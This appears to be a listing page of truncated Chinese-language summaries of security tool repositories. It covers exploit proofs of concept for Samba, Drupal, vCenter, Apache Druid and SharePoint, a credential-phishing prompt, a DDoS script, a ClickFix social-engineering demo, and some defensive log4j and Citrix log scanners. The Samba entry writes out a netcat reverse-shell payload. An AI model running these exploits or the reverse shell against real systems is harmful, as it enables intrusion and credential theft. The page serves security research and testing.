huntr-com-bug-bounties-collector

huntr.com 漏洞收集器 新的漏洞赏金（漏洞）收集器 环境要求 支持图形界面的 Chrome（如果脚本执行遇到问题，请检查虚拟机的 GPU 功能状态（如果可用）。） Chrome WebDriver 预览 root@kitploit: python3 main.py 2024-02-20 16:14:47.836189 1. Arbitrary File Reading due to Lack of Input Filepath Validation - Feb 6th 2024 / High CVE-2024-0964 - gradio-app/gradio -...

CVE-2022-42889-POC

CVE-2022-42889-POC Apache Commons-Text 漏洞 CVE-2022-42889 的概念验证攻击代码。 问题是什么： Apache Commons Text 支持变量插值，允许动态评估和扩展属性。插值的标准格式为 $prefix:name，其中“prefix”用于定位实现插值的 org.apache.commons.text.lookup.StringLookup 实例。从版本 1.5 到 1.9，默认的 Lookup 实例包含的插值器可能导致任意代码执行或与远程服务器建立连接。这些插值器包括： "script" — 使用 JVM...

CredsLeaker

CredsLeaker v4.x 特别感谢 @ApSecDev，他将这个项目提升到了一个新的水平！ 致敬！ 这个脚本曾经用来显示一个PowerShell凭据框并要求用户输入凭据。然而，这非常显眼。现在是时候利用Windows安全弹窗了！ 功能特性 AD域身份验证。 已在Windows 10（1809、1903、1909）和PowerShell 5.1上测试。需要在7/8/8.1/Server及不同PowerShell版本上测试。 可自定义（标题、消息等）。 增加了工作组支持（针对本地SAM进行验证）。 增加了参数支持。现在可以通过命令行自定义消息、标题、IP和端口。 此分支新增功能...

VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972

VMwarevCenterUNAuthorizedRCECVE-2021-21972 zoomeye dork：app:"VMware vCenter" 使用pocsuite3编写的无害检测脚本VMwarevCenterUNAuthorizedRCE.py，使用近一年的数据进行探测： 成功率约为：1551 / 3998 = 39%...

log4j-payload-generator

log4j-payload-generator log4j-paylaod generator : 用于Apache log4j RCE CVE-2021-44228的通用payload生成器。 部署 部署本项目请运行 root@kitploit: sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git 运行测试 要运行测试，请执行以下命令 root@kitploit: cd log4j-payload-generator/ python3 log4jpayloadgenerater.p...

diskwalker

Diskwalker 一个简单的脚本，用于遍历磁盘并跟踪感兴趣的文件集合 在渗透测试期间获得对远程机器的访问权限后，您可能想要查找有趣的配置文件或二进制文件，以尝试进行权限提升。 该脚本是自包含的，可在 Python3 和 Python2.7 上运行，因此既能兼容较新的机器（默认不附带 Python2），也能兼容较旧的机器。 无需执行多个 find 命令，这个简单的脚本仅需对您的整个磁盘目录树结构执行一次遍历，并通过应用所有谓词（以 p 结尾的函数，或仅应用于文件的以 filep 结尾的谓词）来跟踪这些文件。...

HttpStrike

HttpStrike 一个用 Python 编写的快速 DDoS 脚本，如果你增加请求数量，它会按照你的意愿发送大量 GET 请求。...

CVE-2021-25646

CVE-2021-25646 Apache Druid 远程代码执行漏洞 Wker脚本 编写ing... ===================================================================================== 首先感谢Wker大佬远程解答。 写脚本的目的在于练习。 使用 脚本是使用DNSLog进行判断，如果存在漏洞则会自动获取dnslog网址进行ping操作，将返回结果打印输出。 使用之间先在script\ATTACKUTILS目录下新建一dns.wker文件 root@kitploit: define dnsqian ...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

CVE-2023-42860

CVE-2023-42860 针对 CVE-2023-42860 的利用程序（仅用于研究目的）。 此利用程序适用于 macOS 13.3 之前的版本，尽管 Apple 的变更日志 称已在 14.1 版本中修复。 步骤 1. 下载 InstallAssistant.pkg 2. 修改 exploit.sh 文件中的变量 TARGETFILE，指向系统上的一个 SIP 保护文件（默认目标是系统 TCC 数据库）。 3. 以 root 身份运行利用程序： root@kitploit: $ ./exploit.sh PATHTOPKG 4. 现在，您应看到文件的 受限制标志 已被 移除...

password-generator

密码生成器 用于暴力破解或MD5破解/比对 root@kitploit: $ php password-generator --info="victim name,victim surname , victim age , victim email" --info 获取受害者的所有信息。 --path 文件保存路径（可选）。 --md5 使用此值创建的密码也将以md5形式生成（可选）。 root@kitploit: $ php password-generator --info="victim name,victim surname , victim age , victim...

Bulk_403_Bypass

批量403绕过 这是一个Bash脚本，通过向HTTP请求添加自定义标头来实现批量403绕过。可用于测试网站是否存在403绕过漏洞。 用法 要使用该脚本，将URL列表作为命令行参数传递： root@kitploit: ./403bypass.sh urls.txt 许可证 本项目采用MIT许可证 - 详见 许可证...

toastfix-demo

ToastFix 演示 该项目演示了如何将逼真的 Windows 通知用于社会工程攻击，特别是利用 ClickFix 式诱饵。 在线演示可在此处查看（更逼真的攻击）： 👉 https://h4lpy.github.io/ 该技术的详细分析可在我的 Medium 文章中查看： 👉 https://0xh4lpy.medium.com/toastfix-chaining-a-clickfix-attack-with-toast-notifications-72082694fef9 发生了什么？ 1. 提示用户复制并运行一条 PowerShell 命令 2. 生成一条逼真的 Windows 通...

ToolShell

用于 SharePoint ToolShell 的漏洞利用工具。 博客：https://blog.viettelcybersecurity.com/sharepoint-toolshell/ 使用方法： python exploit.py -u -c 例如： python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

Get-log4j-Windows-local

Get-log4j-Windows-local.ps1 识别本地单个Windows服务器上的所有log4j组件。CVE-2021-44228。单次使用版 - 多计算机版本请参见 https://github.com/KeysAU/Get-log4j-Windows.ps1 Apache log4j CVE-2021-44228 脚本运行： 导出： A - I 列： 续： 描述： root@kitploit: 单台服务器本地运行版本。 在本地服务器上创建工作目录 C:\Temp\log4j。 递归扫描所有驱动器中 .jar 容器。 使用 7-zip.exe 将所有 .jar 提取到...

ps.sh

ps.sh ps.shは、指定されたターゲットホストに対するポートスキャンを自動化するbashスクリプトです。このスクリプトの目的は、スキャン時間の短縮、スキャン効率の向上、およびワークフローの自動化です。 リソース 機能 インストール 使い方 貢献 ライセンス クレジット 貢献者 依存関係 機能 さまざまなワークフローを使用した自動サービス検出： nmap2nmap：ポート発見とサービス発見の両方にNmapを使用します。 masscan2nmap：ポート発見にMasscanを使用し、続いてサービス発見にNmapを使用します。 複数ターゲットのサポート -...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 漏洞利用 在 exploit.py 中修改 TARGET root@kitploit: $ python3 exploit.py Success: Check http://127.0.0.1:8080/hello.txt...

CVE-2020-13942

CVE-2020-13942 Ejecute httpx o httprob en los objetivos antes de usar el script. USO ./CVE-2020-13942.sh target.txt Crédito Este script fue creado a partir del repositorio de Rohit Gautam...

citrix-logchecker

citrix-logchecker 解析 Citrix Netscaler 日志，检查是否存在 CVE-2023-4966 利用迹象 由 Otmar Lendl 编写。 用法： root@kitploit: ./citrix-anomaly.pl -d -v -h -p file -a X logfiles 此脚本解析 Citrix Netscaler 系统日志文件，并查找可能由 CVE-2023-4966 利用导致的会话重连。 参数： -d 调试模式 -v 详细模式 -h 帮助信息 -a 设置聚合类型。可选值： b （默认）简单 /24 聚合 a 按 ASN 聚合 p 按路由表前缀聚合...